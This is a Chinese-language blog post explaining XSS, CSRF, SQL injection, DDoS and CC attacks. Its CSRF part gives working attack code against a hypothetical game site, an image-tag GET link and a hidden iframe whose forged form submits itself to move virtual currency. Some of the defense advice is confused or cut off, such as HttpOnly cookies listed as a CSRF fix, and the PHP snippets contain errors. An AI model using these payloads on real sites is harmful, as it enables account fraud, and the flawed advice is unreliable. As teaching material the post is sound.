xss攻击、csrf攻击、sql注入

1、xss攻击,跨站脚本攻击值得是攻击者在网页中嵌入恶意脚本程序,当用户打开浏览器,脚本程序便开始在客户端的浏览器上执行,一盗取客户端cookie等信息,利用系统对用户的信任。

防御措施:将html转移处理htmlspe

2、csrf攻击是跨站请求伪造,攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,利用系统对页面浏览器的信任。

防御措施:①将cookie设置为HttpOnly。如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性。

//设置cookie

response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")

②设置token

③通过refer识别:根据http协议,在http投中有一个字符安叫refer,它记录了该http请求的来源地址

3、SQL注入,通过预处理可以解决

csrf攻击的具体方法

  • 假设某游戏网站的虚拟币转账是采用GET方式进行操作的,样式如:
    http://www.game.com/Transfer.php?toUserId=11&vMoney=1000

     此时恶意攻击者的网站也构建一个相似的链接:

      1、可以是采用图片隐藏,页面一打开就自动进行访问第三方文章:<img src='攻击链接'>

      2、也可以采用js进行相应的操作

    http://www.game.com/Transfer.php?toUserId=20&vMoney=1000         #toUserID为攻击的账号ID

  1、假若客户端已经验证并登陆www.game.com网站,此时客户端浏览器保存了游戏网站的验证cookie

  2、客户端再tab另一个页面进行访问恶意攻击者的网站,并从恶意攻击者的网站构造的链接来访问游戏网站

  3、浏览器将会携带该游戏网站的cookie进行访问,刷一下就没了1000游戏虚拟币

  • 将由链接GET提交数据改成了表单提交数据
    //提交数据表单
    <form action="./Transfer.php" method="POST">
        <p>toUserId: <input type="text" name="toUserId" /</p>
        <p>vMoney: <input type="text" name="vMoney" /></p>
        <p><input type="submit" value="Transfer" /></p>
    </form>
    Transfer.php

    <?php 2     session_start(); 3     if (isset($_REQUEST['toUserId'] && isset($_REQUEST['vMoney'])) #验证 4     { 5      //相应的转账操作 6     } 7 ?>

    恶意攻击者将会观察网站的表单形式,并进行相应的测试。

      首先恶意攻击者采用(http://www.game.com/Transfer.php?toUserId=20&vMoney=1000)进行测试,发现仍然可以转账。 

      那么此时游戏网站所做的更改没起到任何的防范作用,恶意攻击者只需要像上面那样进行攻击即可达到目的。

      总结:

      1、网站开发者的错误点在于没有使用$_POST进行接收数据。当$_REQUEST可以接收POST和GET发来的数据,因此漏洞就产生了。

  •  这一次,游戏网站开发者又再一次认识到了错误,将进行下一步的改进与升级,将采用POST来接收数据

      Transfer.php

    1 <?php
    2      session_start();
    3      if (isset($_POST['toUserId'] && isset($_POST['vMoney']))  #验证
    4      {
    5           //相应的转账操作
    6      }
    7  ?>

     此时恶意攻击者就没有办法进行攻击了么?那是不可能的。

      恶意攻击者根据游戏虚拟币转账表单进行伪造了一份一模一样的转账表单,并且嵌入到iframe中

    嵌套页面:(用户访问恶意攻击者主机的页面,即tab的新页面)

    <!DOCTYPE html>
    <html>
    <head>
        <meta charset="utf-8">
        <title>攻击者主机页面</title>
        <script type="text/javascript">
        function csrf()
        {
            window.frames['steal'].document.forms[0].submit();
        }
        </script>
    </head>
    <body onload="csrf()">
    <iframe name="steal" display="none" src="./xsrf.html">
    </iframe>
    </body>
    </html>

     

    表单页面:(csrf.html)


    <!DOCTYPE html> <html> <head> <title>csrf</title> </head> <body> <form display="none" action="http://www.game.com/Transfer.php" method="post" > <input type="hidden" name="toUserID" value="20"> <input type="hidden" name="vMoney" value="1000"> </form> </body> </html>

     ddos攻击:DDoS,即“分布式拒绝服务”,那么什么又是分布式拒绝服务呢?可以这么理解,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击。同时它被称之为“洪水式攻击”,因为一旦被实施,攻击网络包就会从很多DOS攻击源(俗称肉鸡)犹如洪水般涌向受害主机,从而把合法用户的网络包淹没,导致合法用户无法正常访问服务器的网络资源。

  • DDoS攻击防御方法

    1.过滤不必要的服务和端口

    可以使用Inexpress、Express、Forwarding等工具来过滤不必要的服务和端口,即在路由器上过滤假IP。

    2.异常流量的清洗过滤

    通过DDoS硬件防火墙对异常流量的清洗过滤,通过数据包的规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等顶尖技术能准确判断外来访问流量是否正常,进一步将异常流量禁止过滤。

    3.分布式集群防御

    这是目前网络安全界防御大规模DDoS攻击的最有效办法。如一个节点受攻击无法提供服务,系统将会根据优先级设置自动切换另一个节点,并将攻击者的数据包全部返回发送点,使攻击源成为瘫痪状态,从更为深度的安全防护角度去影响企业的安全执行决策。

    4.高防智能DNS解析

    高智能DNS解析系统与DDoS防御系统的完美结合,为企业提供对抗新兴安全威胁的超级检测功能。同时还有宕机检测功能,随时可将瘫痪的服务器IP智能更换成正常服务器IP,为企业的网络保持一个永不宕机的服务状态。

  • 攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。相比其它的DDoS攻击CC似乎更有技术含量一些。这种攻击你见不到真实源IP,见不到特别大的异常流量,但造成服务器无法进行正常连接。

  • CC攻击防御方法

    1.注册表修改法

    对比较小的CC攻击有一定的作用,但对大量的攻击就难以防御,最终导致服务器死机,网络中断。

    2.域名欺骗解析法

    虽然可以防御CC攻击,但是正常流量的访问也无法访问,无法正常使用,跟你直接把网站关闭了没什么区别,所以是不可取的。

posted @ 2019-05-09 15:36  小呆1107  阅读(2284)  评论(0编辑  收藏  举报